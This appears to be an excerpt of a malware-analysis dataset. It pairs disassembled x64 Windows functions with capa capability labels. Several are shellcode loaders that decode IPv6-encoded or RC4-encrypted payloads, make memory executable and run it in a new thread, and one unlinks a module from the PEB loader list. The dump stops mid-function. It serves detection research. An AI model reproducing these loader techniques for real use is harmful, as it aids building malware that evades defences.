joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141466ff0
Capabilities:
Encode data using xor

Disassembly:
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x141467019
pop rbp
sub rbp, 0x29
sub rbp, 0x1466ff0
jmp 0x141467079
sub rsp, 0x20
jmp 0x141467089
mov rax, 0x1466ff0
add rax, rbp
add rax, 0xcb
mov rcx, 0x64a
mov rdx, 0xffffffffd57f0aed
xor byte [rax], dl
inc rax
dec rcx
jne 0x1414670a8
jmp 0x1414670bf
movsd dword [rdi], dword [rsi]
add al, 0x66
shr ebp, 1
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
insb byte [rdi], dx
sub al, 0xe5
in al, dx
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
in al, dx
add al, 0xa5
sub ch, byte [0x12f345ebc]
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
sub ch, byte [rdi]
vpaddsw ymm5, ymm2, ymm5
movsd dword [rdi], dword [rsi]
sbb cl, byte [rdi]
movsd dword [rdi], dword [rsi]
in al, dx
sub al, 0x66
insb byte [rdi], dx
loope 0x1414670d7
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
in al, dx
add eax, 0x55a5bdbd
adc dword [rdi - 1], edi
in eax, dx
in eax, dx
in eax, dx
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
push rsp
sbb dword [rcx], esi
fsubp st(4)
in eax, dx
in eax, dx
in eax, dx
in eax, dx
movsd dword [rdi], dword [rsi]
in al, dx
add al, 0xa5
push rdi
popfq
invalid
Function at 0x180007f70
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [0x18000b4c8]
xor ebx, ebx
cmp dword [0x18000d088], 2
mov ecx, ebx
movsd xmm0, qword [str.PG_S_TfB_r_b]
mov dword [rsp + 0x28], eax
movzx eax, word [0x18000b4cc]
mov word [rsp + 0x2c], ax
movzx eax, byte [0x18000b4ce]
mov byte [rsp + 0x2e], al
movsd qword [rsp + 0x20], xmm0
jl 0x1800080b9
movdqa xmm2, xmmword [0x18000b5e0]
mov ecx, 8
movdqa xmm3, xmmword [0x18000b5f0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x18000b640]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18000b600]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.PG_S_TfB_r_b]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x20], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18000b600]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x24]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
xorps xmm2, xmm0
movd dword [rsp + 0x24], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xf
jl 0x1800080d0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x18000d890], rax
test rax, rax
jne 0x180008121
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rcx, 0x140558560
mov qword [rsp + 0x40], rdi
lea rdi, [rax + 0x2f07ea0]
mov qword [0x18000d8c8], rcx
movabs rcx, 0x140050860
mov qword [0x18000d8d8], 0x1048
mov qword [0x18000d8a0], rcx
add rax, 0x2f093fc
mov rcx, rdi
mov qword [0x18000d8c0], 0x28a
mov edx, 8
mov qword [0x18000d8f8], 0x28f8
mov qword [0x18000d8e8], 0x284
mov qword [0x18000d8b8], rdi
mov qword [0x18000d8b0], rax
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
mov rax, rbx
jne 0x1800081a7
mov rax, qword [rdi]
mov rdi, qword [0x18000d8b8]
add rax, 0x98
mov qword [0x18000d8f0], rax
mov edx, 8
add rax, 8
mov rcx, rdi
mov qword [0x18000d8e0], rax
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1800081db
mov rbx, qword [rdi]
mov rdi, qword [rsp + 0x40]
lea rax, [rbx + 0x290]
mov qword [0x18000d8d0], rax
add rsp, 0x30
pop rbx
ret
Function at 0x180008c80
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Delete file
Get kernel32 base address
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x18000d040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
cmp edx, 1
jne 0x180008dd4
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx + 0x30]
nop word [rax + rax]
cmp rax, rbx
je 0x180008cd3
mov rdx, qword [rdx]
mov rax, qword [rdx + 0x30]
test rax, rax
jne 0x180008cc0
jmp 0x180008d16
mov rcx, qword [rdx + 8]
mov rax, qword [rdx]
mov qword [rcx], rax
mov rcx, qword [rdx]
mov rax, qword [rdx + 8]
mov qword [rcx + 8], rax
mov rcx, qword [rdx + 0x18]
mov rax, qword [rdx + 0x10]
mov qword [rcx], rax
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
mov qword [rcx + 8], rax
mov rcx, qword [rdx + 0x28]
mov rax, qword [rdx + 0x20]
mov qword [rcx], rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov qword [rcx + 8], rax
mov rcx, rbx
call fcn.1800012a0
xor r9d, r9d
mov qword [rsp + 0x28], 0
lea r8, [0x1800082f0]
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.c:WindowsSystem32d3dref9.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rbx
call fcn.180008590
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x180008dd4
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov edx, 0x280
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, rbx
xorps xmm0, xmm0
mov ecx, 5
nop
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
sub rcx, 1
jne 0x180008d90
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, 0x280
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180009050
add rsp, 0x40
pop rbx
ret
Function at 0x1800014f8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
mov rbp, rsp
sub rsp, 0x50
mov eax, 0x400
lea r8, [rbp - 0x18]
lea rcx, [0x18000d0c0]
mov edx, 0xeafe12
xor ebx, ebx
mov dword [rbp - 0x18], 0x3dc00
mov dword [rbp - 0x14], eax
mov word [rbp - 0x10], 8
mov dword [rbp - 0xc], 0xef86
mov dword [rbp - 8], 1
mov dword [rbp - 0x30], 0xf10
mov dword [rbp - 0x2c], eax
mov word [rbp - 0x28], 8
mov dword [rbp - 0x24], 0x21a
mov dword [rbp - 0x20], 1
call fcn.1800013cc
mov r12, rax
test rax, rax
je 0x180001628
lea r8, [rbp - 0x30]
lea rcx, [0x180ebcee0]
mov edx, 0x17a8
call fcn.1800013cc
mov rsi, rax
test rax, rax
je 0x180001620
mov r13d, dword [rbp - 0x30]
lea r9d, [rbx + 0x40]
mov r8d, 0x3000
mov edx, r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800015c9
mov r8d, r13d
mov rdx, rsi
mov rcx, rax
call fcn.180005420
jmp 0x1800015cc
mov rdi, rbx
test rdi, rdi
je 0x180001618
mov r9d, dword [rbp - 0x18]
mov r8, r12
mov edx, 1
xor ecx, ecx
call rdi
test rax, rax
je 0x180001618
xor r9d, r9d
mov r8d, 0x378
mov rcx, rax
lea edx, [r9 + 2]
call rdi
test rax, rax
je 0x180001618
mov rcx, qword [0x180ebf758]
mov edx, 0x2ef2
call rax
test rax, rax
mov qword [0x180ebf760], rax
setne bl
mov rcx, rsi
call fcn.18000199c
mov rcx, r12
call fcn.18000199c
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
Function at 0x1800020c3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000c070]
jne 0x18000187a
rol rcx, 0x10
test cx, 0xffff
jne 0x180001876
repz ret
ror rcx, 0x10
jmp 0x18000201c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180ebe780]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180ebe878]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1800020a1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180ebe780]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1800020c3
mov rax, qword [rsp + 0x88]
mov qword [0x180ebe878], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180ebe818], rax
mov rax, qword [0x180ebe878]
mov qword [0x180ebe6f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180ebe800], rax
mov dword [0x180ebe6e0], 0xc0000409
mov dword [0x180ebe6e4], 1
mov rax, qword [0x18000c070]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000c078]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180ebe778], eax
mov ecx, 1
call fcn.180004d84
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1800082e0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180ebe778], 0
jne 0x18000214a
mov ecx, 1
call fcn.180004d84
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180006af4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18000c070]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18000318c
xor ebx, ebx
cmp qword [0x180ebf728], rbx
mov rdi, rax
jne 0x180006c07
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180006cde
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180006cde
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180ebf728], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180ebf730], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180ebf738], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180ebf748], rax
test rax, rax
je 0x180006bfe
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180ebf740], rax
jmp 0x180006c0e
mov rax, qword [0x180ebf740]
jmp 0x180006c15
mov rax, qword [0x180ebf740]
mov r11, qword [0x180ebf748]
cmp rax, rdi
je 0x180006c7c
cmp r11, rdi
je 0x180006c7c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180ebf748]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180006c7c
test rax, rax
je 0x180006c7c
call rsi
test rax, rax
je 0x180006c76
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180006c76
test byte [rsp + 0x40], 1
jne 0x180006c7c
bts ebp, 0x15
jmp 0x180006cbc
mov rcx, qword [0x180ebf730]
cmp rcx, rdi
je 0x180006cbc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006cbc
call rax
mov rbx, rax
test rax, rax
je 0x180006cbc
mov rcx, qword [0x180ebf738]
cmp rcx, rdi
je 0x180006cbc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006cbc
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180ebf728]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006cde
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180006ce0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180001860
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
sub rsp, 0x58
mov rax, qword [0x140068800]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor r15d, r15d
lea rcx, str.NTDLL
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv6StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
jne 0x140001062
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.1400011f0
jmp 0x1400011bd
mov qword [rsp + 0x50], r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x19000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x14000109f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.1400011f0
jmp 0x1400011b8
mov qword [rsp + 0x70], rbx
mov ebx, r15d
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], rdi
mov rdi, r14
mov qword [rsp + 0x88], r12
lea r12, section..data
mov rsi, r12
nop dword [rax]
mov rcx, qword [rsi]
lea rdx, [rsp + 0x30]
mov r8, rdi
call rbp
test eax, eax
jne 0x140001188
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x1900
jb 0x1400010d0
mov edx, 0x19000
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x19000
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140014ad0
xor edx, edx
mov r8d, 0x19000
mov rcx, r14
call fcn.140015170
lea r9, [rsp + 0x38]
mov edx, 0x19000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000119e
lea rax, [rsp + 0x3c]
mov dword [rsp + 0x3c], r15d
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000119e
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14000119e
movsxd rdx, ebx
lea rcx, str.____RtlIpv6StringToAddressA_Failed_At___s__With_Error_0x_0.8X
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.1400011f0
mov r12, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012d0
add rsp, 0x58
pop r15
pop rbp
ret

Function at 0x140001ce4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d2e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d2e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d2e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d2e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d2e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d30
xor al, al
add rsp, 0x28
ret

Function at 0x1400085e4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400083e0
Function at 0x14000d824
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d854
xor eax, eax
jmp 0x14000d917
mov rbp, rbx
cmp word [rax], si
je 0x14000d879
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d860
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d85c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d744
movsxd r14, eax
test eax, eax
jne 0x14000d8b7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d84d
mov rcx, r14
call fcn.140009fb0
mov rdi, rax
test rax, rax
jne 0x14000d8d0
xor ecx, ecx
call fcn.140009424
jmp 0x14000d8ac
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d744
test eax, eax
jne 0x14000d901
mov rcx, rdi
call fcn.140009424
jmp 0x14000d90b
xor ecx, ecx
call fcn.140009424
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400117ec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140011802
mov al, 1
jmp 0x140011862
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140011813
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011860
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000dcfc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011860
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011860
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011860
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011862
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140014780
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400147a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400147a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001070
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x130
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rsp + 0x120], rax
xor r14d, r14d
mov r15, rdx
mov r8d, r14d
lea rdx, [rsp + 0x20]
mov eax, r14d
mov ebx, r9d
mov rbp, rcx
nop dword [rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
inc eax
cmp eax, 0x100
jl 0x1400010b0
mov r9d, r14d
lea r10, [rsp + 0x20]
lea rdi, [0x14001e4b0]
nop
movzx r11d, byte [r10]
mov eax, r9d
cdq
idiv ebx
movsxd rax, edx
movzx ecx, byte [rax + rdi]
add r8d, ecx
add r8d, r11d
and r8d, 0x800000ff
jge 0x1400010fd
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rsp + 0x20]
add rcx, rax
inc r9d
movzx eax, byte [rcx]
mov byte [r10], al
inc r10
mov byte [rcx], r11b
cmp r9d, 0x100
jl 0x1400010d0
mov esi, 0x4a8
mov ebx, r14d
mov ecx, esi
mov edi, r14d
call fcn.1400075c4
mov r9, rax
mov r10, rax
mov r11d, esi
nop dword [rax + rax]
inc ebx
and ebx, 0x800000ff
jge 0x140001154
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rdx, [rsp + 0x20]
add rdx, rax
movzx r8d, byte [rdx]
add edi, r8d
and edi, 0x800000ff
jge 0x140001178
dec edi
or edi, 0xffffff00
inc edi
movsxd rax, edi
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rdx], al
mov byte [rcx], r8b
movzx ecx, byte [rdx]
add rcx, r8
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
mov byte [r10], cl
inc r10
sub r11, 1
jne 0x140001140
lea rax, [rbp + 0x4a7]
lea rcx, [r15 + 0x4a7]
cmp r15, rax
ja 0x1400011c1
cmp rcx, rbp
jae 0x14000124d
lea rax, [r9 + 0x4a7]
cmp r15, rax
ja 0x1400011d2
cmp rcx, r9
jae 0x14000124d
mov rcx, r9
lea rax, [rbp + 0x10]
sub rcx, rbp
mov rdx, r15
sub rdx, rbp
mov r8d, 0x12
mov r14d, 0x480
nop
movdqu xmm0, xmmword [rax - 0x10]
movdqu xmm1, xmmword [rax + rcx - 0x10]
movdqu xmm2, xmmword [rax + rcx]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rax + rdx - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax + rdx - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax + rdx - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rax + rdx - 0x20], xmm2
sub r8, 1
jne 0x1400011f0
mov ecx, r14d
mov r8, r15
add rcx, rbp
sub r8, rbp
sub r9, rbp
mov edx, esi
sub edx, r14d
movzx eax, byte [rcx + r9]
xor al, byte [rcx]
mov byte [rcx + r8], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001261
lea rcx, str._______ciphertext____________n
call fcn.140001010
mov rbx, r15
nop word [rax + rax]
movzx edx, byte [rbx]
lea rcx, str.x_02hhx
call fcn.140001010
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x140001290
lea rcx, [0x14001e4ac]
call fcn.140001010
mov rax, r15
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140001520
mov rbx, qword [rsp + 0x160]
add rsp, 0x130
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400012e0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x510
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rsp + 0x500], rax
lea rdx, [rsp + 0x50]
mov ecx, 9
lea rax, [0x14001e4c0]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001320
mov rcx, qword [rax + 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov qword [rdx + 0x20], rcx
movzx ecx, byte [rax + 0x28]
mov byte [rdx + 0x28], cl
mov ecx, 0x4a8
call fcn.1400075c4
mov r9d, 3
lea rcx, [rsp + 0x50]
mov rdx, rax
mov rbx, rax
call fcn.140001070
mov ecx, 0x800
call fcn.1400075c4
xor ebp, ebp
mov dword [rsp + 0x40], 0x800
mov rdi, rax
mov qword [rsp + 0x30], rbp
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rbp
mov r9, rdi
mov qword [rsp + 0x20], rax
lea r8d, [rbp + 1]
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ecx, 0x800
call fcn.140001540
mov rsi, rax
lea rcx, [rax + 0x7ff]
lea rax, [rdi + 0x7ff]
cmp rsi, rax
ja 0x140001432
cmp rcx, rdi
jb 0x140001432
mov rcx, rsi
sub rdi, rsi
mov edx, 0x800
movzx eax, byte [rdi + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001420
jmp 0x140001443
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x800
call fcn.140003640
lea rcx, str._________payload__________n
call fcn.140001010
mov rbx, rsi
mov edi, 0x800
nop word [rax + rax]
movzx edx, byte [rbx]
lea rcx, str._02hhx
